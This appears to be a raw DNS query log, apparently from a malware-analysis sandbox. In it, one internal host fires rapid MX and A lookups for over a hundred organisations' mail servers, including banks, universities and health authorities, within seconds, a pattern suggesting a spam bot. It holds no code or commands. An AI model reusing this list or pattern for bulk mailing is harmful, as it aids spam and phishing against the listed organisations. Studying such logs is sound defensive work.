Aug 24, 2023 19:03:44.678214073 CEST	192.168.2.8	8.8.8.8	0x302b	Standard query (0)	mail.themayneline.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:44.701611996 CEST	192.168.2.8	8.8.8.8	0x77fd	Standard query (0)	ccmm-qc-ca.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:44.817471981 CEST	192.168.2.8	8.8.8.8	0x1343	Standard query (0)	mx002.netsol.xion.oxcs.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:47.650728941 CEST	192.168.2.8	8.8.8.8	0xbb5d	Standard query (0)	comptoirdescotonniers.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:47.689480066 CEST	192.168.2.8	8.8.8.8	0xad11	Standard query (0)	comptoirdescotonniers-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:47.728315115 CEST	192.168.2.8	8.8.8.8	0x6848	Standard query (0)	msn-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:47.823425055 CEST	192.168.2.8	8.8.8.8	0xe68c	Standard query (0)	wojciks.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:47.826200962 CEST	192.168.2.8	8.8.8.8	0xb99	Standard query (0)	pwrdf.org	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:47.900674105 CEST	192.168.2.8	8.8.8.8	0x631c	Standard query (0)	pwrdf-org.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:47.916759968 CEST	192.168.2.8	8.8.8.8	0x2d65	Standard query (0)	hatch.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:47.962877035 CEST	192.168.2.8	8.8.8.8	0x4500	Standard query (0)	mail2.hatch.ca	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:48.015490055 CEST	192.168.2.8	8.8.8.8	0xd6a0	Standard query (0)	greatpacificmedia.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:48.107448101 CEST	192.168.2.8	8.8.8.8	0xbd28	Standard query (0)	dpsg.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:48.139898062 CEST	192.168.2.8	8.8.8.8	0x66d6	Standard query (0)	mxa-0028f601.gslb.pphosted.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:48.155910969 CEST	192.168.2.8	8.8.8.8	0xd035	Standard query (0)	greatpacificmedia.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:48.200284004 CEST	192.168.2.8	8.8.8.8	0xed08	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:48.276367903 CEST	192.168.2.8	8.8.8.8	0x50b0	Standard query (0)	bmo.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:48.292133093 CEST	192.168.2.8	8.8.8.8	0x81e	Standard query (0)	rat1sully.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:48.306077957 CEST	192.168.2.8	8.8.8.8	0x3e88	Standard query (0)	mxa-00277d01.gslb.pphosted.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:48.342602015 CEST	192.168.2.8	8.8.8.8	0x4f37	Standard query (0)	ajforsyth.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:48.343297958 CEST	192.168.2.8	8.8.8.8	0x93f0	Standard query (0)	mailserver.rat1sully.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:48.368875980 CEST	192.168.2.8	8.8.8.8	0x69d	Standard query (0)	jacksontwpnj.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:48.381876945 CEST	192.168.2.8	8.8.8.8	0x2344	Standard query (0)	mxa-001f5401.gslb.pphosted.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:48.446036100 CEST	192.168.2.8	8.8.8.8	0x5430	Standard query (0)	jacksontwpnj-net.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:48.572988033 CEST	192.168.2.8	8.8.8.8	0x7e60	Standard query (0)	rbccm.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:48.600622892 CEST	192.168.2.8	8.8.8.8	0x152d	Standard query (0)	MX2.HC391-17.CA.IPHMX.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:48.672127008 CEST	192.168.2.8	8.8.8.8	0xda9b	Standard query (0)	netscape.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:48.677697897 CEST	192.168.2.8	8.8.8.8	0x2e6b	Standard query (0)	embroidme.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:48.745352030 CEST	192.168.2.8	8.8.8.8	0x8f26	Standard query (0)	ptd.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:48.857340097 CEST	192.168.2.8	8.8.8.8	0xd9e1	Standard query (0)	mx.ptd.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:48.877202988 CEST	192.168.2.8	8.8.8.8	0x4430	Standard query (0)	nshealth.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:48.984415054 CEST	192.168.2.8	8.8.8.8	0xcfa5	Standard query (0)	drcla.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:49.024339914 CEST	192.168.2.8	8.8.8.8	0xe1f1	Standard query (0)	nshealth-ca.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:49.047297001 CEST	192.168.2.8	8.8.8.8	0xa5c6	Standard query (0)	libro.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:49.182977915 CEST	192.168.2.8	8.8.8.8	0xc191	Standard query (0)	rangeweb.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:49.220083952 CEST	192.168.2.8	8.8.8.8	0x85c6	Standard query (0)	mxb-002ea201.gslb.pphosted.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:49.230889082 CEST	192.168.2.8	8.8.8.8	0xdd8c	Standard query (0)	vpd.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:49.248533010 CEST	192.168.2.8	8.8.8.8	0xb44c	Standard query (0)	live-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:49.371814966 CEST	192.168.2.8	8.8.8.8	0xe980	Standard query (0)	rangeweb-net.mx.av-mx.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:49.436996937 CEST	192.168.2.8	8.8.8.8	0x2ffa	Standard query (0)	mta7.am0.yahoodns.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:49.470902920 CEST	192.168.2.8	8.8.8.8	0x3a19	Standard query (0)	kingmasonryyard.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:49.494887114 CEST	192.168.2.8	8.8.8.8	0xdb0c	Standard query (0)	pixelball.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:49.506968021 CEST	192.168.2.8	8.8.8.8	0xf33c	Standard query (0)	edgesrv02.rebelnetworks.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:49.531142950 CEST	192.168.2.8	8.8.8.8	0x9ecb	Standard query (0)	agent1.vpd.ca	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:49.646059036 CEST	192.168.2.8	8.8.8.8	0xae7b	Standard query (0)	acadiau.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:49.720525026 CEST	192.168.2.8	8.8.8.8	0xefd5	Standard query (0)	incognito.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:49.746638060 CEST	192.168.2.8	8.8.8.8	0xfc65	Standard query (0)	mxa-00820f01.gslb.pphosted.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:49.770418882 CEST	192.168.2.8	8.8.8.8	0x2bf0	Standard query (0)	mailgateway.acadiau.ca	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:49.807821035 CEST	192.168.2.8	8.8.8.8	0xee75	Standard query (0)	ibm.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:49.837527990 CEST	192.168.2.8	8.8.8.8	0x8d0f	Standard query (0)	mx0b-001b2d01.pphosted.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:49.902106047 CEST	192.168.2.8	8.8.8.8	0x90a0	Standard query (0)	nacsworld.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:49.997019053 CEST	192.168.2.8	8.8.8.8	0xe475	Standard query (0)	sfu.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:50.041817904 CEST	192.168.2.8	8.8.8.8	0x41c3	Standard query (0)	mail.nacsworld.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:50.191344023 CEST	192.168.2.8	8.8.8.8	0x6f5c	Standard query (0)	proofpoint5.sfu.ca	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:50.206806898 CEST	192.168.2.8	8.8.8.8	0xf6d7	Standard query (0)	greatwestlife.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:50.299659014 CEST	192.168.2.8	8.8.8.8	0x808c	Standard query (0)	pusan.ac.kr	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:50.304337978 CEST	192.168.2.8	8.8.8.8	0x6927	Standard query (0)	citlink.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:50.385108948 CEST	192.168.2.8	8.8.8.8	0x1e65	Standard query (0)	mxa-00182f01.gslb.pphosted.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:50.395567894 CEST	192.168.2.8	8.8.8.8	0xb103	Standard query (0)	darefoods.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:50.464370966 CEST	192.168.2.8	8.8.8.8	0xbb01	Standard query (0)	mckinsey.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:50.498208046 CEST	192.168.2.8	8.8.8.8	0x7a80	Standard query (0)	mxa-00134603.gslb.pphosted.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:50.593871117 CEST	192.168.2.8	8.8.8.8	0xe2b1	Standard query (0)	optimum.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:50.639380932 CEST	192.168.2.8	8.8.8.8	0x4527	Standard query (0)	d403986.b.ess.ca.barracudanetworks.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:50.666657925 CEST	192.168.2.8	8.8.8.8	0x1248	Standard query (0)	gmx02.mailplug.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:50.671838045 CEST	192.168.2.8	8.8.8.8	0x2ba1	Standard query (0)	nait.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:50.709228992 CEST	192.168.2.8	8.8.8.8	0x66f7	Standard query (0)	nait-ca.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:50.748449087 CEST	192.168.2.8	8.8.8.8	0xf2de	Standard query (0)	amenzone.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:50.752319098 CEST	192.168.2.8	8.8.8.8	0x4ce1	Standard query (0)	live.com.ar	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:50.838480949 CEST	192.168.2.8	8.8.8.8	0xf9f8	Standard query (0)	wavecom.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:50.887876987 CEST	192.168.2.8	8.8.8.8	0x3d03	Standard query (0)	traff-1.hugedomains.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:50.999161959 CEST	192.168.2.8	8.8.8.8	0x36a9	Standard query (0)	fontaine-beauvois.be	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:51.088080883 CEST	192.168.2.8	8.8.8.8	0x4dd	Standard query (0)	chinagrandsun.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:51.122750998 CEST	192.168.2.8	8.8.8.8	0xe561	Standard query (0)	mcgill.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:51.154963017 CEST	192.168.2.8	8.8.8.8	0x8bd7	Standard query (0)	mcgill-ca.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:51.158085108 CEST	192.168.2.8	8.8.8.8	0x2980	Standard query (0)	mx.vcn.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:51.167192936 CEST	192.168.2.8	8.8.8.8	0x8ad5	Standard query (0)	balloonguru.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:51.214256048 CEST	192.168.2.8	8.8.8.8	0xe3f0	Standard query (0)	cppib.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:51.261818886 CEST	192.168.2.8	8.8.8.8	0xce5c	Standard query (0)	mxa-00118e03.gslb.pphosted.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:51.307193995 CEST	192.168.2.8	8.8.8.8	0x574d	Standard query (0)	shopify.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:51.367381096 CEST	192.168.2.8	8.8.8.8	0xa3e5	Standard query (0)	mxw.263.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:51.463793993 CEST	192.168.2.8	8.8.8.8	0x5f46	Standard query (0)	loblaws.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:51.497853041 CEST	192.168.2.8	8.8.8.8	0x6550	Standard query (0)	mxa-00217d01.gslb.pphosted.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:51.526258945 CEST	192.168.2.8	8.8.8.8	0xafdb	Standard query (0)	emory.edu	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:51.653259039 CEST	192.168.2.8	8.8.8.8	0x5fd8	Standard query (0)	smtp.mailcleaner.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:51.791739941 CEST	192.168.2.8	8.8.8.8	0x4cf	Standard query (0)	emory-edu.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:51.838036060 CEST	192.168.2.8	8.8.8.8	0x6262	Standard query (0)	mindspring.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:51.950908899 CEST	192.168.2.8	8.8.8.8	0x6359	Standard query (0)	ymcagta.org	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:51.994955063 CEST	192.168.2.8	8.8.8.8	0xcf33	Standard query (0)	mx.lb.btinternet.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:52.028348923 CEST	192.168.2.8	8.8.8.8	0x6a35	Standard query (0)	newellsdelivery.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:52.074867964 CEST	192.168.2.8	8.8.8.8	0xa32f	Standard query (0)	mx1.forwardemail.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:52.075026989 CEST	192.168.2.8	8.8.8.8	0x1efe	Standard query (0)	blackburn-int.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:52.107821941 CEST	192.168.2.8	8.8.8.8	0xaa40	Standard query (0)	ogonzalez.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:52.108654022 CEST	192.168.2.8	8.8.8.8	0xe581	Standard query (0)	blackburnint-com02c.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:52.132711887 CEST	192.168.2.8	8.8.8.8	0x4103	Standard query (0)	d35166b.ess.barracudanetworks.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:52.260313034 CEST	192.168.2.8	8.8.8.8	0x1bae	Standard query (0)	northrock.bm	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:52.299437046 CEST	192.168.2.8	8.8.8.8	0xa75c	Standard query (0)	voestalpine.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:52.336194992 CEST	192.168.2.8	8.8.8.8	0x336a	Standard query (0)	de-smtp-inbound-1.mimecast.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:52.387773991 CEST	192.168.2.8	8.8.8.8	0x9780	Standard query (0)	utoronto-ca.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:52.402530909 CEST	192.168.2.8	8.8.8.8	0x7481	Standard query (0)	lnf.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:52.429054976 CEST	192.168.2.8	8.8.8.8	0xd20e	Standard query (0)	lnf-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:52.450242043 CEST	192.168.2.8	8.8.8.8	0x711e	Standard query (0)	audioshop.qc.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:52.502926111 CEST	192.168.2.8	8.8.8.8	0xe334	Standard query (0)	alt2.aspmx.l.google.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:52.546883106 CEST	192.168.2.8	8.8.8.8	0xd087	Standard query (0)	pathcom.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:52.606446981 CEST	192.168.2.8	8.8.8.8	0x2796	Standard query (0)	capita.co.uk	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:52.678297043 CEST	192.168.2.8	8.8.8.8	0xdf4a	Standard query (0)	cluster-a.mailcontrol.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:52.687419891 CEST	192.168.2.8	8.8.8.8	0x51a	Standard query (0)	mx2.myone.bm	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:52.696336031 CEST	192.168.2.8	8.8.8.8	0x6df4	Standard query (0)	mbll.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:52.703176975 CEST	192.168.2.8	8.8.8.8	0x920f	Standard query (0)	mx02.pathcom.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:52.776571989 CEST	192.168.2.8	8.8.8.8	0xfba5	Standard query (0)	shawcable.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:52.794840097 CEST	192.168.2.8	8.8.8.8	0xac30	Standard query (0)	mastfamily.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:52.846060038 CEST	192.168.2.8	8.8.8.8	0x1716	Standard query (0)	mbll-ca.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:52.967664957 CEST	192.168.2.8	8.8.8.8	0x768	Standard query (0)	mx2c11.megamailservers.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:53.276931047 CEST	192.168.2.8	8.8.8.8	0xba39	Standard query (0)	fortis.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:53.361512899 CEST	192.168.2.8	8.8.8.8	0x74d1	Standard query (0)	telus.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:53.481940031 CEST	192.168.2.8	8.8.8.8	0x7a74	Standard query (0)	ocdsb.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:53.492384911 CEST	192.168.2.8	8.8.8.8	0x44aa	Standard query (0)	bliksem.nssi.telus.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:53.573390961 CEST	192.168.2.8	8.8.8.8	0xceea	Standard query (0)	seagate.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:53.609548092 CEST	192.168.2.8	8.8.8.8	0x66ee	Standard query (0)	mx1.hc4959-67.iphmx.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:53.736171007 CEST	192.168.2.8	8.8.8.8	0xb910	Standard query (0)	centurytel.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:53.980386972 CEST	192.168.2.8	8.8.8.8	0x48a1	Standard query (0)	sunlife.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:54.003480911 CEST	192.168.2.8	8.8.8.8	0xed22	Standard query (0)	mx2.hc463-99.ca.iphmx.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:54.107664108 CEST	192.168.2.8	8.8.8.8	0xe67b	Standard query (0)	yourremaxteam.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:54.111871004 CEST	192.168.2.8	8.8.8.8	0xbe45	Standard query (0)	frontiernet.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:54.167799950 CEST	192.168.2.8	8.8.8.8	0x431e	Standard query (0)	mx.dlls.pa.frontiernet.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:54.232022047 CEST	192.168.2.8	8.8.8.8	0x9668	Standard query (0)	mx2c1.megamailservers.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:54.261039019 CEST	192.168.2.8	8.8.8.8	0xd738	Standard query (0)	ftccomputers.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:54.369978905 CEST	192.168.2.8	8.8.8.8	0x52a3	Standard query (0)	shilts.org	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:54.433131933 CEST	192.168.2.8	8.8.8.8	0x22c4	Standard query (0)	mailstore1.secureserver.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:54.557491064 CEST	192.168.2.8	8.8.8.8	0xece1	Standard query (0)	aon.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:54.588640928 CEST	192.168.2.8	8.8.8.8	0x8de7	Standard query (0)	aon-ca.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:54.668314934 CEST	192.168.2.8	8.8.8.8	0xa822	Standard query (0)	qg.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:54.731631994 CEST	192.168.2.8	8.8.8.8	0xcdc4	Standard query (0)	chibou.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:54.773855925 CEST	192.168.2.8	8.8.8.8	0xceda	Standard query (0)	chibou-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:54.809627056 CEST	192.168.2.8	8.8.8.8	0x8de2	Standard query (0)	mytime.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:54.818886042 CEST	192.168.2.8	8.8.8.8	0x48be	Standard query (0)	mx1.hc2756-44.iphmx.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:54.891239882 CEST	192.168.2.8	8.8.8.8	0xe352	Standard query (0)	purdue.edu	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:54.966298103 CEST	192.168.2.8	8.8.8.8	0x183d	Standard query (0)	obsidianenergy-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:55.042802095 CEST	192.168.2.8	8.8.8.8	0x4ec8	Standard query (0)	xppmailspam04.itap.purdue.edu	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:55.077600002 CEST	192.168.2.8	8.8.8.8	0xa0ab	Standard query (0)	creativegroup.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:55.278783083 CEST	192.168.2.8	8.8.8.8	0xd3b4	Standard query (0)	goldsgym.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:55.293451071 CEST	192.168.2.8	8.8.8.8	0x7e4e	Standard query (0)	wescomm.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:55.307826042 CEST	192.168.2.8	8.8.8.8	0x75f6	Standard query (0)	goldsgym-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:55.450479031 CEST	192.168.2.8	8.8.8.8	0x52a3	Standard query (0)	jpracu.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:55.512099981 CEST	192.168.2.8	8.8.8.8	0xccb6	Standard query (0)	mail.all-in-1.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:55.590924025 CEST	192.168.2.8	8.8.8.8	0x596d	Standard query (0)	msn-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:55.617805958 CEST	192.168.2.8	8.8.8.8	0x498a	Standard query (0)	mx3.ispservices.us	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:55.623717070 CEST	192.168.2.8	8.8.8.8	0x611b	Standard query (0)	zahroofvalves.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:55.674266100 CEST	192.168.2.8	8.8.8.8	0x4cc6	Standard query (0)	d228656b.ess.barracudanetworks.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:55.708226919 CEST	192.168.2.8	8.8.8.8	0xdb31	Standard query (0)	mxb-0026fd02.gslb.pphosted.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:56.138825893 CEST	192.168.2.8	8.8.8.8	0xfd7c	Standard query (0)	lits-global.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:56.292651892 CEST	192.168.2.8	8.8.8.8	0xe05c	Standard query (0)	hintonet.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:56.371367931 CEST	192.168.2.8	8.8.8.8	0x25e	Standard query (0)	optonline.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:56.372775078 CEST	192.168.2.8	8.8.8.8	0x2fba	Standard query (0)	3com.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:56.412811995 CEST	192.168.2.8	8.8.8.8	0x555c	Standard query (0)	mxa-00010e01.gslb.pphosted.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:56.441239119 CEST	192.168.2.8	8.8.8.8	0xe00c	Standard query (0)	hintonet-net.mx.av-mx.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:56.458014965 CEST	192.168.2.8	8.8.8.8	0x7ca7	Standard query (0)	philips.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:56.502604961 CEST	192.168.2.8	8.8.8.8	0xb3e5	Standard query (0)	philips-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:56.638190985 CEST	192.168.2.8	8.8.8.8	0x9a68	Standard query (0)	notarius.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:56.669543982 CEST	192.168.2.8	8.8.8.8	0xa4b1	Standard query (0)	mx-cluster-ca01.hornetsecurity.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:56.793112040 CEST	192.168.2.8	8.8.8.8	0x1719	Standard query (0)	paccar.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:56.861885071 CEST	192.168.2.8	8.8.8.8	0x32f	Standard query (0)	paccar-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:56.870084047 CEST	192.168.2.8	8.8.8.8	0x104	Standard query (0)	solium.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:56.916894913 CEST	192.168.2.8	8.8.8.8	0x8317	Standard query (0)	solium-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:56.934582949 CEST	192.168.2.8	8.8.8.8	0xdbbc	Standard query (0)	metrocast.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:56.963808060 CEST	192.168.2.8	8.8.8.8	0x5396	Standard query (0)	td.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:56.992609978 CEST	192.168.2.8	8.8.8.8	0xb77a	Standard query (0)	cluster5a.us.messagelabs.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:57.028742075 CEST	192.168.2.8	8.8.8.8	0x5e96	Standard query (0)	mississaugatoyota.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:57.091581106 CEST	192.168.2.8	8.8.8.8	0xfd34	Standard query (0)	gmpsecurities.com	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:57.096261024 CEST	192.168.2.8	8.8.8.8	0x2b1b	Standard query (0)	mx01-fmc.echolabs.net	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:57.145946026 CEST	192.168.2.8	8.8.8.8	0x489b	Standard query (0)	smtp.gslb.stifel.com	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:57.206029892 CEST	192.168.2.8	8.8.8.8	0x5126	Standard query (0)	fraserhealth.ca	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:57.240793943 CEST	192.168.2.8	8.8.8.8	0xd2dd	Standard query (0)	mail3.phsa.ca	A (IP address)	IN (0x0001)	false
Aug 24, 2023 19:03:57.246438980 CEST	192.168.2.8	8.8.8.8	0xaa07	Standard query (0)	comporium.net	MX (Mail exchange)	IN (0x0001)	false
Aug 24, 2023 19:03:57.372328043 CEST	192.168.2.8	8.8.8.8	0xde47	Standard query (0)	fillmoreriley.com	MX (Mail exchange)	IN (0x0001)	false
